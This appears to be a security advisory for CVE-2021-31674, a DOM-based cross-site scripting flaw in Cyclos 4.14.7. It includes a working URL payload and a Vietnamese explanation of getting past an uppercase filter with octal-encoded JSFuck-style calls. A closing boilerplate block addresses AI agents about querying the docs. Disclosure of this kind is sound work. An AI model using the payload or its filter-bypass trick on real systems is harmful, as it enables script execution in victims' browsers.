# Cyclos 4.14.7 - Dom-based Cross-Site Scripting in undefined enum (CVE-2021-31674)

### CVE-2021-31674

**Date:** 18/04/2021

**Exploit Author:** Tin Pham aka TF1T of VietSunshine Cyber Security Services

**Vendor Homepage:** <https://www.cyclos.org/>

**Affected Version(s):** Cyclos 4.14.7 (and prior)

**Description:** Cyclos 4 PRO 4.14.7 and before does not validate user input at error inform, which allows remote unauthenticated attacker to execute javascript code via undefined enum.

**Steps to reproduce:** An attacker sends a draft URL *\[IP]/#users.users.public-registrationxxx%3Cimg%20src=x%20onerror=%22\[]\['\146\151\154\164\145\162']\['\143\157\156\163\164\162\165\143\164\157\162']\('\162\145\164\165\162\156\40\164\150\151\163')()\['\141\154\145\162\164']\(1)%22%3E* to victim. When a victim opens the URL, XSS will be triggered.

### Note

Khi nhập vào một enum không tồn tại, thông báo lỗi sẽ xuất hiện kèm theo giá trị nhập vào, tuy nhiên các giá trị này sẽ đi qua function uppercase()

![](/files/ZqrI0J4eKdcngxI84Iaf)

Như chúng ta đã biết nếu cụm alert() bị viết hoa (`ALERT()`) thì sẽ không có popup xảy ra

![](/files/7yLNRXr81LknYTaLyKDG)

Do đó ta có thể sử dụng function alert() dạng JSFUCK rồi encode dạng octet để payload được ngắn lại. Final payload:  `<img src=x onerror="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\162\145\164\165\162\156\40\164\150\151\163')()['\141\154\145\162\164'](1)">`

![](/files/CK2IK5ntOauVx5CXdoyW)

&#x20;  &#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://tf1t.gitbook.io/mycve/cylos/cyclos-4.14.7-dom-based-cross-site-scripting-in-undefined-enum-cve-2021-31674.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
